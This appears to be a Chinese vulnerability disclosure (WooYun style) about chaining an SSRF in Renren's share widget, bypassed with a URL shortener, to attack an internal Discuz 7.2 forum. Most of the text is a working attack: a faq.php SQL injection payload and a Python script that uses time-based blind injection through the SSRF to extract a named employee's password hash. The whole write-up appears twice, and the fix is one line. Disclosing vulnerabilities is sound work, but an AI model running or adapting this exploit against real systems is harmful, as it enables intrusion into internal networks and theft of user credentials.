利用人人网某处设计缺陷攻击内网应用
http://wooyun.org/bugs/wooyun-2015-091798中得ssrf可用短连接绕过。
http://widget.renren.com/dialog/share?resourceUrl=http://dwz.cn/CvchS
这样的链接就可以读取内网的一些信息。通过某位大神得知了人人的一些内网信息。突然想到是否可以通过ssrf攻击内网的一些应用,并得到内网的信息呢?有了问题就得去验证
已知http://daxue.renren-inc.com/bbs是discuz 7.2的程序。那可能存在faq.php的注入。进行短连接的转换以后,使用http://widget.renren.com/dialog/share?resourceUrl=http://dwz.cn/CvchS进行测试,发现漏洞存在但是没有我们想要的结果。
看到这样的结果我就不开心了。没有我想要的东西。不开森!!!那我就改下语句试试延时盲注。也许就有我想要的东西呢。然后写了个脚本就进行测试。数据就出来了,就是速度慢了点。不过验证了攻击思路确实是可以的
感谢某大神帮忙验证了思路写了脚本。我是渣渣。
import codecs
import string
import sys
from urllib.parse import quote
import http_
for c in string.digits+string.ascii_lowercase:
h = hex(ord(c))
payload = "http://daxue.renren-inc.com/bbs/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (if(mid((select password from uc_members where email=0x6572796f6e672e6b6f6e674072656e72656e2d696e632e636f6d), "+sys.argv[1]+", 1) like "+h+", sleep(3), false))%23"
base64_payload = quote(codecs.encode(payload.encode(), "base64").decode().strip())
url = "http://widget.renren.com/dialog/share?resourceUrl=http://xxx.xxx.xx/"+base64_payload
with http_.get(url) as request:
request.encoding = request.apparent_encoding
if "Discuz" not in request.text:
# print(url)
print(c)
break
漏洞证明:
http://wooyun.org/bugs/wooyun-2015-091798中得ssrf可用短连接绕过。
http://widget.renren.com/dialog/share?resourceUrl=http://dwz.cn/CvchS
这样的链接就可以读取内网的一些信息。通过某位大神得知了人人的一些内网信息。突然想到是否可以通过ssrf攻击内网的一些应用,并得到内网的信息呢?有了问题就得去验证
已知http://daxue.renren-inc.com/bbs是discuz 7.2的程序。那可能存在faq.php的注入。进行短连接的转换以后,使用http://widget.renren.com/dialog/share?resourceUrl=http://dwz.cn/CvchS进行测试,发现漏洞存在但是没有我们想要的结果。
看到这样的结果我就不开心了。没有我想要的东西。不开森!!!那我就改下语句试试延时盲注。也许就有我想要的东西呢。然后写了个脚本就进行测试。数据就出来了,就是速度慢了点。不过验证了攻击思路确实是可以的
感谢某大神帮忙验证了思路写了脚本。我是渣渣。
import codecs
import string
import sys
from urllib.parse import quote
import http_
for c in string.digits+string.ascii_lowercase:
h = hex(ord(c))
payload = "http://daxue.renren-inc.com/bbs/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (if(mid((select password from uc_members where email=0x6572796f6e672e6b6f6e674072656e72656e2d696e632e636f6d), "+sys.argv[1]+", 1) like "+h+", sleep(3), false))%23"
base64_payload = quote(codecs.encode(payload.encode(), "base64").decode().strip())
url = "http://widget.renren.com/dialog/share?resourceUrl=http://xxx.xxx.xx/"+base64_payload
with http_.get(url) as request:
request.encoding = request.apparent_encoding
if "Discuz" not in request.text:
# print(url)
print(c)
break
解决方案:
修复ssrf